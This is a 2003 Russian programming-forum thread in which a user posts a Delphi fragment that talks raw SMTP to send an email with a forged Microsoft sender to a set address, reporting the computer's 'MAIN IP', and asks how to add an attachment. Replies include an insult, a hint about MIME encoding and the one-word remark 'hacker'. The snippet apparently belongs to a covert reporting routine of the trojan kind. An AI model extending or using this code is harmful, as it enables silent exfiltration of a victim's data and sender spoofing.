Форум: "Сети";
Текущий архив: 2003.02.27;
Скачать: [xml.tar.bz2];
Внизe-mail Найти похожие ветки
← →
kolerkow (2003-01-09 23:50) [0]привет господа.
подскажите как сделать аттач.
вот кусок кода
......
//Коннектимся с серваком
addr.sin_family := AF_INET;
addr.sin_port := htons(25);
if (connect(s, addr,sizeof(addr))) =0 then break;
end;
end
else
begin
addr.sin_family := AF_INET;
addr.sin_port := htons(25);
addr.sin_addr.S_addr:=iaddr;
end;
if (connect(s, addr,sizeof(addr))) >0 then exit;
i:=recv(s,buf,sizeof(buf),0);
if (i = SOCKET_ERROR ) then exit;
s1:=buf;
if pos("220", s1) <=0 then exit;
buf:="HELO SERVER"#13#10;
sender("HELO SERVER"#13#10);
i:=recv(s,buf,sizeof(buf),0);
if (i = SOCKET_ERROR ) then goto ex ;
s1:=buf;
if pos("250", s1) <=0 then goto ex ;
sender("MAIL FROM: <billgates@microsoft.com>"#13#10);
i:=recv(s,buf,sizeof(buf),0);
if (i = SOCKET_ERROR ) then goto ex ;
s1:=buf;
if pos("250", s1) <=0 then goto ex ;
adress:="RCPT TO: <"+StrPas(PChar(myusr))+">"+#13#10;
sender(adress);
i:=recv(s,buf,sizeof(buf),0);
if (i = SOCKET_ERROR ) then goto ex ;
s1:=buf;
if pos("25", s1) <=0 then goto ex ;
sender("DATA"#13#10);
i:=recv(s,buf,sizeof(buf),0);
if (i = SOCKET_ERROR ) then goto ex ;
s1:=buf;
if pos("354", s1) <=0 then goto ex ;
sender("From: <bill@maicrosoft.com>"#13#10);
adress:="To: <"+StrPas(PChar(myusr))+">"+#13#10;
sender(adress);
sender(""#13#10);
sender("alexa"#13#10);
sender("MAIN IP IS: "+MainIP+#13#10);
sender(#13#10"."#13#10);
if recv(s,buf,sizeof(buf),0) = SOCKET_ERROR then goto ex ;
s1:=buf;
if pos("250", s1) <=0 then goto ex ;
sender("QUIT"#13#10);
....
← →
Ondatra (2003-01-10 23:35) [1]Иди ты нахер
← →
Rouse_ (2003-01-11 00:04) [2]> Ondatra (10.01.03 23:35)
А что, у психов амнистия?
> kolerkow (09.01.03 23:50)
Для начала конвертируем в MIME = получаем обычный текстовый файл и пересылаем построчно
Желаю успехов
ЗЫ: goto не является хорошим стилем программирования
← →
Polevi (2003-01-11 12:28) [3]хакер
Страницы: 1 вся ветка
Форум: "Сети";
Текущий архив: 2003.02.27;
Скачать: [xml.tar.bz2];
Память: 0.45 MB
Время: 0.007 c